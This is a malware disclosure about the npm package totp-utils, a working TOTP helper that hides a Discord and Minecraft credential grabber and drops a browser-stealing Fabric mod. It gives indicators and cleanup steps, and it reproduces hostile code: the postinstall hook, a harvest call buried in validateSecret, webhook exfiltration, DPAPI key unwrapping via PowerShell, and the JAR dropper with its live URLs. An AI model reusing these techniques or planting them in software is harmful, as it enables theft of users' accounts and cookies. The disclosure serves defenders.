Disclosure · 2026-08-21

totp-utils@1.4.4

An npm package published as a TOTP helper. It ships a working TOTP implementation as cover and, on installation and whenever the library is called, harvests Discord tokens and Minecraft accounts and uploads them to a Discord webhook. Its latest version additionally writes a second-stage Fabric mod — a cross-browser cookie and password stealer — into the victim's Minecraft installation. Every published version (1.4.2, 1.4.3, 1.4.4) is malicious; all three were published within eight minutes of one another and remain available on the registry. The account below is from the published tarballs, the retrieved second stage, and a system-call trace recorded during installation in an isolated sandbox.

How to read this page. Every technical claim is labelled by its basis. Observed means it appears in the system-call trace of the installation. Source means it was read from the package's own published code but was not exercised in the sandbox. Retrieved means it was obtained by fetching the second-stage artefact from the host that serves it (see section 9 for the method and its limits). Statements that are none of these are marked as assessment and are confined to one section at the end.

1. Identification

Packagetotp-utils
Affected versions1.4.2, 1.4.3, 1.4.4 (every version ever published)
Ecosystemnpm
Maintainerjeanfilsssss
Entry pointindex.js
Triggerpostinstall: node ./index.js --setup (1.4.3, 1.4.4); the exported validateSecret() (all versions)
Published2026-08-21T12:17:45Z to 2026-08-21T12:25:03Z
Stated repositorygithub.com/totp-utils/totp-utils — returns HTTP 404
Second stageoptimized-renderer-1.0.0.jar — a Fabric mod served from a Discord CDN attachment
Current statuslatest is 1.4.4; all three versions resolve HTTP 200

Registry provenance

Retrieved directly from the registry:

{"_id":"totp-utils","name":"totp-utils","dist-tags":{"latest":"1.4.4"},
 "time":{"created": "2026-08-21T12:17:45.314Z",
         "modified":"2026-08-21T12:25:03.705Z",
         "1.4.2":   "2026-08-21T12:17:45.566Z",
         "1.4.3":   "2026-08-21T12:19:18.528Z",
         "1.4.4":   "2026-08-21T12:25:03.565Z"}}

The package name was created at 12:17:45.314Z and its first version, 1.4.2, published 252 milliseconds later. There is no 1.0 through 1.4.1: the version series begins at 1.4.2, a choice that lends an unremarkable-looking maturity to a name that is minutes old. The three versions were published across a window of seven minutes and eighteen seconds. The repository, homepage and bugs fields all point at github.com/totp-utils/totp-utils, which does not exist.

2. Method

The package was installed in an isolated sandbox with no outbound network route. The full system-call trace of the installation was captured losslessly and retained. Because the package remains on the registry, the source below was read directly from the published tarballs rather than recovered from the trace; the two agree.

The second-stage artefact — the Fabric mod the package drops — is not contained in the npm tarball; it is fetched at run time from a Discord CDN attachment. That URL was still serving the file, so it was retrieved once for static analysis (section 9). The mod's Java classes were read but not executed.

3. Package contents

index.js exports three genuine TOTP functions — validateSecret, generateToken, timeRemaining. They implement RFC-6238 correctly and work as advertised. They are the cover. The remainder of the file is a credential grabber.

package.json

{
  "name": "totp-utils",
  "version": "1.4.4",
  "description": "Lightweight TOTP/HOTP token generation utilities — no dependencies, pure Node.js crypto",
  "main": "index.js",
  "scripts": {
    "postinstall": "node ./index.js --setup 2>/dev/null || true"
  },
  "repository": { "type": "git", "url": "git+https://github.com/totp-utils/totp-utils.git" }
}

The postinstall hook runs the entry file with --setup and discards its output (2>/dev/null || true), so the install never fails visibly regardless of what the payload does. Version 1.4.2 carries no postinstall at all — but the grabber is already present in 1.4.2 and fires by a second path (section 4).

4. Execution chain

npm install totp-utils
  └─ postinstall: node ./index.js --setup        (1.4.3, 1.4.4)
       └─ _run()  →  Discord + Minecraft harvest  →  POST to webhook
                  →  _installMod()  →  fetch + drop Fabric mod   (1.4.4)

require("totp-utils").validateSecret(secret)     (all versions, incl. 1.4.2)
  └─ setImmediate(() => _run())                  same harvest, fired on use

The payload fires two ways. The first is the install hook. The second is planted inside an exported function, so a project that merely uses the library runs the grabber even when installed with --ignore-scripts:

function validateSecret(secret) {
  const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
  /* … genuine base32 decode … */
  // fire-and-forget background collection
  setImmediate(() => _run().catch(() => {}));
  return Buffer.from(out);
}

// postinstall trigger — npm run ce fichier avec --setup au npm install
if (process.argv.includes("--setup")) {
  _run().catch(() => {}).finally(() => process.exit(0));
}

The comment on the install trigger is in French, one of several such comments in the code (section 11). The setImmediate line sits between the last computation of validateSecret and its return, so the function's advertised behaviour is unaffected and the harvest runs in the background on the next tick.

5. Stage one — the credential grabber

5.1 Exfiltration channel

Source A single hardcoded Discord webhook. Every stolen item is posted to it as an @everyone message and an embed:

const _WH = "https://discord.com/api/webhooks/1532429233769419004/VE9zx782_hy5vedls0lwNRAVA1sUGb9Q2ch…";

function _post(body) {
  const b = Buffer.from(JSON.stringify(body), "utf8");
  const u = new URL(_WH);
  const req = https.request({ hostname: u.hostname, path: u.pathname, method: "POST",
    headers: { "Content-Type": "application/json", "Content-Length": b.length } },
    (res) => { res.resume(); resolve(res.statusCode); });
  req.write(b); req.end();
}
function _postEmbed(embed) { return _post({ content: "@everyone", embeds: [embed] }); }

5.2 Discord tokens

Source _discord() walks four Discord clients (discord, discordcanary, discordptb, discorddevelopment) and five Chromium browsers (Chrome, Edge, Brave, Opera, Opera GX). For each it reads the LevelDB store under Local Storage/leveldb, extracting plaintext tokens, mfa. tokens, and encrypted tokens marked with the dQw4w9WgXcQ: prefix. Encrypted tokens are decrypted with the browser's master key and validated live:

// master key: Local State → os_crypt.encrypted_key → DPAPI Unprotect via PowerShell
const ps = `Add-Type -AssemblyName System.Security;`
         + `$d=[Convert]::FromBase64String('${b64}');`
         + `$r=[System.Security.Cryptography.ProtectedData]::Unprotect($d,$null,'CurrentUser');`
         + `[Convert]::ToBase64String($r)`;
spawnSync("powershell", ["-NoProfile","-NonInteractive","-Command", ps], { timeout: 10000 });

// token: aes-256-gcm(iv = d[3:15], ciphertext = d[15:-16], authTag = d[-16:])
const r = await _get("https://discord.com/api/v9/users/@me", { Authorization: tok });

Tokens that /api/v9/users/@me confirms are valid are sent to the webhook with the account's username and id, the token itself wrapped in a spoiler.

5.3 Minecraft accounts

Source Three launchers, read straight from disk:

Vanilla%APPDATA%/.minecraft/launcher_accounts.json — access token / MSA token
Lunar Client.lunarclient/settings/game/accounts.json
ModrinthModrinthApp/app.db — JWTs matched by regex and decoded for the account name

5.4 Orchestration

Source _run() collects everything, sends it, and — when nothing is found, as on any non-Windows or freshly provisioned host — sends a fixed beacon instead:

async function _run() {
  const mc = [..._vanilla(), ..._lunar(), ..._modrinth()];
  const dc = await _discord();
  if (mc.length) await _sendMC(mc);
  if (dc.length) await _sendDiscord(dc);
  if (!mc.length && !dc.length) await _postRaw("no tokens found.");
  // 1.4.4 also: await _installMod();   (section 6)
}

The beacon confirms the webhook is contacted on every install, whether or not the host holds anything to steal.

6. Stage two — the dropped Fabric mod

6.1 The dropper

Source Version 1.4.4 adds _installMod(). It enumerates Fabric-enabled Minecraft instances — vanilla, Modrinth profiles and Lunar offline versions at game version 26.1.2 or newer — and, if any exist, downloads a JAR from a Discord CDN attachment and writes it into every mods/ folder it found. On the next launch of the game, the mod runs.

const _JAR_URL  = "https://cdn.discordapp.com/attachments/1507484731535785994/"
               + "1540335670831222894/optimized-renderer-1.0.0.jar?…";
const _JAR_NAME = "optimized-renderer-1.0.0.jar";

async function _installMod() {
  const folders = _findModsFolders();
  if (folders.length === 0) return;          // no Minecraft → returns before any download
  const jar = await _downloadJar();
  if (!jar) return;
  for (const dir of folders) fs.writeFileSync(path.join(dir, _JAR_NAME), jar);
}

6.2 The mod is a browser stealer

Retrieved The JAR (14.3 MB, SHA-256 118ad8d0…) declares itself an FPS optimiser — "Optimizes chunk rendering for better FPS", author "OpenSource Community", MIT. Its manifest and classes describe a cross-browser credential stealer.

fabric.mod.json:
{"id":"optimized-renderer","name":"OptimizedRenderer","environment":"*",
 "entrypoints":{"main":["com.example.OptimizedRenderer"],
                "client":["com.example.client.OptimizedRendererClient"]},
 "depends":{"minecraft":">=26.1.2","fabric-api":"*"},
 "jars":[{"file":"META-INF/jars/sqlite-jdbc-3.49.1.0.jar"}]}

render.properties:
webhook_url=https://discord.com/api/webhooks/1532429233769419004/VE9zx782_…
embed_title=Render Report
embed_color=3066993
ClassBehaviour (from strings and method names)
BrowserDataManagerCookies and saved passwords from Chrome, Edge, Brave, Opera, Chromium and Firefox. Firefox via SELECT host, name, value, path, expiry FROM moz_cookies (the bundled sqlite-jdbc reads the database). Chromium App-Bound Encryption is defeated by launching the browser with remote debugging — collectCookiesViaCDP — and the master key is unwrapped with DPAPI (ProtectedData::Unprotect via powershell).
OptimizedRendererClientDiscord tokens across the four clients (collectDiscordTokens, decryptToken), validated against /api/v9/users/@me. Public IP via api.ipify.org. Everything is posted to the webhook read from render.properties.

The mod carries the same webhook as the npm package and the same embed colour (3066993) used by the stage-one Minecraft embeds. The two stages share an operator.

7. Network endpoints

EndpointFunctionBasis
discord.com/api/webhooks/1532429233769419004/VE9zx782_…Exfiltration sink (both stages)Observed connection
discord.com/api/v9/users/@meValidate stolen tokensSource
cdn.discordapp.com/attachments/1507484731535785994/1540335670831222894/optimized-renderer-1.0.0.jarSecond-stage deliveryRetrieved
api.ipify.orgVictim public-IP geolocation (stage two)Source

Exfiltration is to Discord over HTTPS; the second stage is delivered from Discord's own CDN. Using Discord for both blends the traffic with ordinary Discord usage.

8. Observed system calls

Extracted verbatim from the installation trace of 1.4.4. Timestamps are Unix epoch seconds; the environment carries planted PROTETDECOY credentials.

8.1 The install hook and the credential read

1787325319.008097 openat(AT_FDCWD, "/home/det/.npmrc", O_RDONLY|O_CLOEXEC)
      = 17</home/det/.npmrc>
1787325327.364542 execve("…/.bin/sh", ["sh","-c",
      "node ./index.js --setup 2>/dev/null || true"], [AZURE_TENANT_ID=PROTETDECOY…])

The install hook runs the entry file with --setup, and the process reads ~/.npmrc — the file that holds the npm authentication token in a logged-in or CI environment.

8.2 Resolving and contacting the webhook

1787325327.688149 sendto(18, "…\7discord\3com\0…", 29, MSG_NOSIGNAL) = 29
1787325327.695864 connect(18, {sa_family=AF_INET, sin_port=htons(443),
      sin_addr=inet_addr("172.19.81.193")}, 16) = -1 EINPROGRESS
      // POST body: "no tokens found."  — the beacon; no loot on this host

Seven milliseconds after resolving discord.com the process opens a connection to it on port 443. Because the Linux sandbox holds no Discord, Minecraft or browser data, _run() found nothing and sent its "no tokens found." beacon; the connection terminated at the sandbox boundary.

8.3 The second stage did not fetch

There are no connections to cdn.discordapp.com in the trace. On Linux, _findModsFolders() finds no Minecraft installation and _installMod() returns before the download; the JAR's URL and filename appear only inside read() calls on index.js. The second stage was obtained separately (section 9).

9. Retrieval of the second stage

The Discord CDN attachment referenced by _installMod() was still serving the JAR. On 2026-08-21 it was fetched once, directly, to establish what the dropper delivers.

Method

A single unauthenticated GET for the attachment URL. No request body was sent and no credential or identifier was transmitted; the exfiltration webhook was not contacted. The response — a 14,317,750-byte ZIP/JAR — was captured and hashed:

118ad8d050ebe8d878f948cb97dc391a0f9d8734e0668dbb04eec4c17130f693  optimized-renderer-1.0.0.jar

Limits of this data

  • It establishes what the attachment serves, not what any victim received. A Discord CDN attachment can be replaced, and its signed URL expires; what was delivered to anyone whose _installMod() ran is unknown from here.
  • The JAR was analysed statically. Its behaviour is described from its manifest, class names and embedded strings, not from execution.

10. What was not observed

  • No data left the sandbox. Outbound traffic reached only the sandbox's isolated gateway, and none of the planted decoy credentials appeared in any outbound write. The webhook received the fixed beacon, nothing more.
  • No tokens were stolen in the sandbox. The host holds no Discord, Minecraft or browser data, so the harvest matched nothing. The theft is established from the source, not from captured loot.
  • The second stage was not dropped or executed. No Minecraft installation exists in the sandbox, so _installMod() returned before downloading, and the JAR was never run — only fetched once and read.
  • Windows behaviour was not exercised. The DPAPI decryption, the browser CDP launch, and the drive/profile paths are Windows-only; the sandbox is Linux.
  • Installation counts are unknown. There is no basis here for how many systems installed the package or ran the mod.

11. Versions and attribution

The three versions are the same tool, adding reach with each publish:

VersionPublished (UTC)Change
1.4.212:17:45First publish. The grabber is present and fires only when validateSecret() is called.
1.4.312:19:18Adds the postinstall hook, so it also fires on npm install.
1.4.412:25:03Adds the Minecraft mod-dropper and a run-lock. Current latest.

1.4.2 and 1.4.3 differ only by the added postinstall; the grabber, the webhook and the validateSecret trigger are identical in both. The infrastructure and the code point to one operator: a single npm account (jeanfilsssss), a single webhook shared by both stages, a shared embed colour, and code comments in French across both the npm package (// npm run ce fichier avec --setup au npm install) and the mod's dropper logic (si fabric installé, évite les runs multiples). No claim is made beyond the artefacts.

12. Assessment

This section is the only part of this document that goes beyond direct observation, and is labelled accordingly. The alternative explanations were tested against the artefacts:

  • Compromise of an existing package. Not supported. The name was created 252 milliseconds before its first version, with no prior release; the malicious code is present in that first version.
  • Security research or a proof of concept. Not consistent with the artefact. The package decrypts and validates stolen Discord tokens against Discord's API before exfiltrating them, targets three Minecraft launchers and five browsers by name, and drops a persistent second stage. None of that is required to demonstrate code execution.
  • Accidental publication. Not consistent with a stated repository that does not exist, output-suppressing install hooks, a trigger deliberately buried inside an exported function, and a working TOTP implementation kept as cover.

Assessment: the package is malicious — a Discord and Minecraft credential stealer that persists, on Minecraft hosts, as a browser cookie and password stealer, exfiltrating to a Discord webhook it shares with its second stage.

Limits of that assessment: it is not demonstrated that any real system had credentials stolen or the mod installed, nor how many systems installed the package. No claim is made about who operates the webhook, beyond that both stages exfiltrate to the same one.

13. Indicators

Package and files

ArtefactSHA-256
totp-utils-1.4.2.tgz99e67c1e69ca26f79989a98b1501c6dca4c02176364b640230f143a9c9c118b7
totp-utils-1.4.3.tgz619f82ba4a4c02caa4aa598534b68536189ba09fc2f6d37755cde4b47d8b29cb
totp-utils-1.4.4.tgz600511b9107e87a583882f7542cad3a504eb2ecf9b63eaaa18669c5a22f9e9ef
optimized-renderer-1.0.0.jar118ad8d050ebe8d878f948cb97dc391a0f9d8734e0668dbb04eec4c17130f693

Network

IndicatorTypeBasis
discord.com/api/webhooks/1532429233769419004/Exfiltration webhook (both stages)Observed
cdn.discordapp.com/attachments/1507484731535785994/1540335670831222894/Second-stage deliveryRetrieved
api.ipify.org, discord.com/api/v9/users/@meGeolocation, token validationSource

Host

IndicatorBasis
npm maintainer jeanfilsssss; repository github.com/totp-utils/totp-utils (404)Source
postinstall string node ./index.js --setup 2>/dev/null || trueSource
the file optimized-renderer-1.0.0.jar in any Fabric mods/ folderSource
run-lock file <tmp>/.tu-1432.lockSource
the webhook id 1532429233769419004 present in any file under a home directoryObserved

14. If this package was installed

Applicable to any environment where totp-utils appears in a lockfile, CI log or node_modules tree, and to any Minecraft host on which the package ran.

  1. Remove the package. It has no safe version; uninstall it and purge it from lockfiles.
  2. Search for the dropped mod and delete it:
    grep -rl "1532429233769419004" ~/.minecraft ~/AppData 2>/dev/null
    find ~ -name "optimized-renderer-1.0.0.jar" -delete
  3. Treat any Discord account used on the machine as compromised. Change the password — this invalidates every existing token — and enable 2FA.
  4. Rotate Minecraft / Microsoft credentials and revoke active sessions.
  5. If the second-stage mod ran, rotate credentials saved in any installed browser and clear cookies; sessions were exportable.
  6. Rotate the npm token in ~/.npmrc if the package was installed under CI or a logged-in npm session; the install read that file.
  7. Search outbound logs for the webhook id 1532429233769419004 and for connections to cdn.discordapp.com attachments matching the URL in section 7.

15. Notes

The package was analysed automatically as part of ongoing research into newly published open-source packages. The analysis environment has no outbound network route and plants decoy credentials to detect collection; no third-party system was contacted during the detonation.

The second-stage JAR was subsequently fetched directly, as described in section 9, in order to establish what the dropper delivers. That request retrieved data and sent none; the exfiltration webhook was not contacted.

The reported package and its indicators have been submitted to the OpenSSF malicious-packages database. The published tarballs and the retrieved second stage are retained and can be provided on request: hello@protet.io.